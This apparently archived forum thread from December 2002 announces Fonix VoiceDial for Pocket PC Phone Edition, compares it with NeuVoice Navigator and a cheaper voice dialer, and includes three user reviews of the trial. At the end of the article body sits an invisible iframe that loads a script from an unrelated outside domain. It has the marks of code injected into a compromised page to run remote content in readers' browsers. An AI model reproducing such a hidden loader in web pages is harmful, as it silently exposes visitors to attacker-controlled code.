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Hands-Free Dialing for PPC Phone Edition
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12-02-2002
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Hands-Free Dialing for PPC Phone Edition
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Fonix introduces VoiceDial, and Handango offers a special on NeuVoice Navigator XDA/MDA for $9.99.

"Introducing Fonix VoiceDialTM , a totally interactive, hands-free software application for your Pocket PC Phone Edition device that enables you to place calls by number or by contact. Best of all, there's no voice training required. Simply tell your Pocket PC Phone Edition the number or name to call and Fonix VoiceDial does the rest. It's that easy! With Fonix VoiceDial, true mobility is now possible through the power of speech."

You can download a trial version of VoiceDial, or purchase your copy for $19.95 at <a class="postlink" target="_blank" href="http://odin.fonix.com/fx/pg.cfm?title=Fonix%20VoiceDial&name=VoiceDial&menu=Con2">Fonix</a>. Fonix VoiceDial joins <a class="postlink" target="_blank" href="http://www.handango.com/PlatformProductDetail.jsp?siteId=311&jid=A96724D548956938XD55XXE7F3EBC85C&productId=44694&optionId=1_2_2&productType=2&catalog=30&txtSearch=voice+dial§ionId=0&platformId=2">NeuVoice Navigator XDA/MDA</a> and Patrick Sullivan's <a class="postlink" target="_blank" href="http://www.handango.com/PlatformProductDetail.jsp?siteId=311&jid=A96724D548956938XD55XXE7F3EBC85C&productId=45688&optionId=1_2_2&productType=2&catalog=30&txtSearch=voice+dial§ionId=0&platformId=2">Voice Dialer</a> in this market segment.

VoiceDial doesn't require any training and is speaker independent. It allows you to dial numbers or names from your contacts. NeuVoice Navigator requires training, but offers voice enablement for more than just the dialer... for example you can use it to launch applications. Early users of NeuVoice have reported that if you intend to use it in a noisy environment, such as a car, you should train it there for best all around accuracy. NeuVoice is on special at <a class="postlink" target="_blank" href="http://www.handango.com/PlatformProductDetail.jsp?siteId=311&jid=A96724D548956938XD55XXE7F3EBC85C&productId=44694&optionId=1_2_2&productType=2&catalog=30&txtSearch=voice+dial§ionId=0&platformId=2">Handango</a> through the holidays for only $9.99. Patrick Sullivan's product is $5.00 and allows you to quickly store up to 9 numbers for quick access by voice.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
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By anthonymoody on 12-03-2002, 02:08 PM
Well I downloaded the demo based on this recommendation and others I saw over at PPCPassion. It's a super cool app. The only issue I have is speed. After pressing the hard button to launch it, it takes a few seconds to open up and prompt me for the voice input. I installed it on my memory card, maybe that's why. That said, it works surprisingly well, making me miss the keyboard on my Treo that much less (getting to a phone book listing to find and dial a number on the treo via the keyboard is faster and easier than on the PPCPE.)

Anyone know the difference between the demo and full, paid version?

TM
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By smittyofdhs on 12-03-2002, 03:25 PM
I too have downloaded it and my opinion it's that it is a great product. I installed first to the main memory, then uninstalled and reinstalled to storage card and the speed deifference isn't much. I think it loads slowly because it is loading the names from contacts. I haven't been able to get nicknames to work right but that's ok for me. Not bad for $20, but HTC (or the carriers) should have put voice dialing into it in the first place.
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By Convergent on 12-03-2002, 04:18 PM
I'm trying it ....
I'm also trying this... running it on a memory card as well. I didn't notice the long load time. It loaded the contacts the first time through and that took a while. Hasn't done that again. Its too early for me to reach a conclusion.

It seems to do perfectly on many names, but then sometimes pull up one that is completely wrong. I think that happens if I ask for a name that isn't in the system. Instead of saying there isn't a name, it does the closest one or something. I haven't figured out how to get it to properly handle acronyms like IBM and company names like amazon.com. There is a way to record a word for them that I haven't checked out yet.

I have tried it with the headset, holding it, and in the car while driving. It works in all cases, but prefers the quieter environment. I had to slow down the default timings because it was not letting me get "home", "mobile", etc. in there before guessing what I said. Agree that it's pretty good.
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